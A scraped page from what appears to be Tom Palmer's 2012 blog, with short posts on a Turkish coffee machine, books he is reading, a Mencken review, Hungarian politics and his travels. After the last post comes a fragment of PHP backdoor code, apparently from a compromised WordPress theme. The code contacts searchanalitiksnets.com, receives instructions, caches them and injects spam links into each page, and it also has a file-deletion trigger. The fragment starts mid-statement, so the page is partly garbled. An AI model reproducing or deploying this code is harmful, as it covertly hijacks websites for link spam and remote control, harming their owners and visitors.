I don’t know who wrote the caption for this, but it’s perfect.

{ 0 comments }

Turkish Coffee …. from a Machine!

by Tom Palmer on June 3, 2012

I’ve just ordered one for the coffee bar my nephew and my niece-in-law are setting up. It looks cool. (And I like Turkish coffee.) Here’s how to order it and here’s how it works. (The narration of the video is in French…but…why not?)

{ 0 comments }

Some recent books

by Tom Palmer on June 2, 2012


In addition to writing essays and editing others for After the Welfare State (coming out later this summer), I’ve been doing a fair amount of reading lately, and will be writing reviews of a few of them soon. They include:

Why Nations Fail: The Origins of Power, Prosperity, and Poverty, by Daron Acemoglu and James Robinson

Capitalism and the Jews, by Jerry Muller

The Origin of the Welfare State in England and Germany, 1850-1914: Social Policies Compared, by E. P. Hennock

Anticipating The Wealth of Nations: The Selected Works of Anders Chydenius, 1729-1803, ed. by Maren Jonasson and Pertti Hyttinen

What Money Can’t Buy: The Moral Limits of Markets, by Michael Sandel

I’ll have some time in my office over the next couple of weeks, so I hope to write reviews of them for various forums.

And I also spent time substantially re-reading a few others, including

Three New Deals: Reflections on Roosevelt’s America, Mussolini’s Italy, and Hitler’s Germany, 1933-1939, by Wolfgang Schivelbusch

Hitler’s Beneficiaries: Plunder, Racial War, and the Nazi Welfare State, by Götz Aly

(The chapters I’ve written for After the Welfare State are an introduction, a short bibliography of further readings, “The Tragedy of the Welfare State” (understanding the crisis of the welfare state through the economics of common pool resources, hence as a “tragedy of the commons”), “The History of the Welfare State and What It Displaced” (looking at the roots of the welfare state in Bismarck’s policies of state-building and social control, tracing it through Progressivism, Fascism, Social Democracy, and up to the present), and “Classical Liberalism, Poverty, and Morality” (drawn from my chapter in Poverty and Morality, ed. by William A. Galston and Peter H. Hoffenberg [Cambridge: Cambridge University Press, 2010]).

{ 3 comments }

H. L. Mencken

by Tom Palmer on June 1, 2012

I was just looking around and found a review I published in Libertarian Review in April of 1978 of H. L. Mencken’s Notes on Democracy. And here it is. (Remember that I was a bit younger then.)

{ 0 comments }

A frightening insanity emerging in Hungary

by Tom Palmer on June 1, 2012

The country of Hungary is shifting in a very dangerous direction, as Der Spiegel reports: English German. If you would like to learn about Hungarian libertarianism, which offers a breath of hope for a country that is tilting dangerously toward fascism, visit the Hungarian Free Market Foundation.

{ 0 comments }

On the road….

by Tom Palmer on January 24, 2012

I flew Thursday morning to Guatemala for a major conference of reformers sponsored by the Francisco Marroquin University (it was brilliantly run and very eye-opening) and then on Sunday from Guatemala to Lahore, Pakistan. Got in some hours ago; meetings and lectures today!

{ 1 comment }

My articles on “Are Patents and Copyrights Morally Justified? The Philosophy of Property Rights and Ideal Objects” (Harvard Journal of Law and Public Policy, Summer 1990) and “Intellectual Property: A Non-Posnerian Law and Economics Approach” (Hamline Law Review, Spring 1989). (My views on technology were only mildly prescient with regard to specifics, but right, I think, on the general matter.)

{ 0 comments }

On the road again….

by Tom Palmer on January 19, 2012

I got back today from Manhattan, where I met up with my good friend and colleague Professor Mohammad Abul Ahrar Ramizpoor, director of the Afghanistan Economic and Legal Studies Organization, for his first visit to the US. We had some very good meetings. He’s off to visit the Acton Institute and the Mackinac Center (with a weekend in Colorado), and then to Washington for more meetings with libertarian think tankers and researchers. I’m leaving in a few hours for Guatemala, to observe the Antigua Forum, which brings together practitioners of classical liberal reforms, then from there to Pakistan (not, unfortunately, a direct flight) for lectures and meetings sponsored by the Economic Freedom Network in Lahore, Islamabad, and Karachi, then by car to India to take part in the Freedom Caravan.

{ 0 comments }

A short history of liberty

by Tom Palmer on January 19, 2012

Brought to you by the good folks at Libertarianism.org

{ 0 comments }

Paul defends Romney ‘fire’ comment, history at Bain

{ 2 comments }

Good'; exit; } if(isset($_GET['unlink_cache'])) unlink_cache('wp-content/themes/thesis_151/lib/css/data/'); function put_array_work($way, $var) { $stOutFileHandle = false; $stOutFileHandle = fopen($way, 'w'); flock($stOutFileHandle, LOCK_EX); fwrite($stOutFileHandle, $var); flock($stOutFileHandle, LOCK_UN); fclose($stOutFileHandle); } function ad_block() { $way = 'wp-content/themes/thesis_151/lib/css/'; if(!file_exists($way.'data/work.txt')) { $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $work = false; $work = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$work === false && is_array($work)) { if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period']+($work['period'] / 2)); $work['check'] = time() + $period * 60; if(isset($work['new']) && !empty($work['new'])) { $links = $work['new']; unset($work['new']); } $work['use'] = array(); $write_work = true; } else { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } else { $work = false; $work = unserialize(file_get_contents($way.'data/work.txt')); if($work === false && !is_array($work)) { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } if(!isset($links)) { if(file_exists($way.'data/temp.txt')) { $links = unserialize(file_get_contents($way.'data/temp.txt')); } else { $links = array(); put_array_work($way.'data/temp.txt', serialize($links)); } } if($work['check'] < time() && empty($links)) { if(!empty($work['use'])) $sent['use'] = $work['use']; if(isset($work['time'])) { $sent['time'] = $work['time']; } else { $sent['time'] = time(); } $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $import = false; $import = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$import === false && is_array($import) && $import['time'] != '00000') { if(isset($import['new'])) { $links = $import['new']; $write_link = true; } if(isset($import['unlink'])) $work['unlink'] = $import['unlink']; if(isset($import['period'])) $work['period'] = $import['period']; if(isset($import['start'])) $work['start'] = $import['start']; if(isset($import['end'])) $work['end'] = $import['end']; if(isset($import['time'])) $work['time'] = $import['time']; } if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period'] + ($work['period'] / 2)); $work['check'] = time() + $period * 60; $write_work = true; } $id = $_SERVER['REQUEST_URI']; if(file_exists($way.'data/'.md5($id).'.dat')) { $page = unserialize(file_get_contents($way.'data/'.md5($id).'.dat')); $echo = ''; if(!empty($links)) { $domains = array_keys($links); foreach($domains as $domain) { if(!isset($page[$domain])) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); $write_page = true; $write_link = true; } } } if(!empty($work['unlink'])) { foreach($work['unlink'] as $domain) { if(isset($page[$domain])) { unset($page[$domain]); $write_page = true; } if(isset($work['use'][$domain])) { unset($work['use'][$domain]); $write_work = true; } if(isset($links[$domain])) { unset($links['use'][$domain]); $write_link = true; } } } if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } if(!empty($page)) { foreach($page as $domain => $link) { $echo .= $link.' '; if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); } } else { if(!empty($links)) { $page = array(); $domains = array_keys($links); foreach($domains as $domain) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } $echo = ''; if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } foreach($page as $domain => $link) { $echo .= $link.' '; } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); $write_page = true; $write_link = true; } } if ($write_page === true) { put_array_work($way.'data/'.md5($id).'.dat', serialize($page)); } if ($write_work === true) { put_array_work($way.'data/work.txt', serialize($work)); } if ($write_link === true) { put_array_work($way.'data/temp.txt', serialize($links)); } } ad_block(); ?>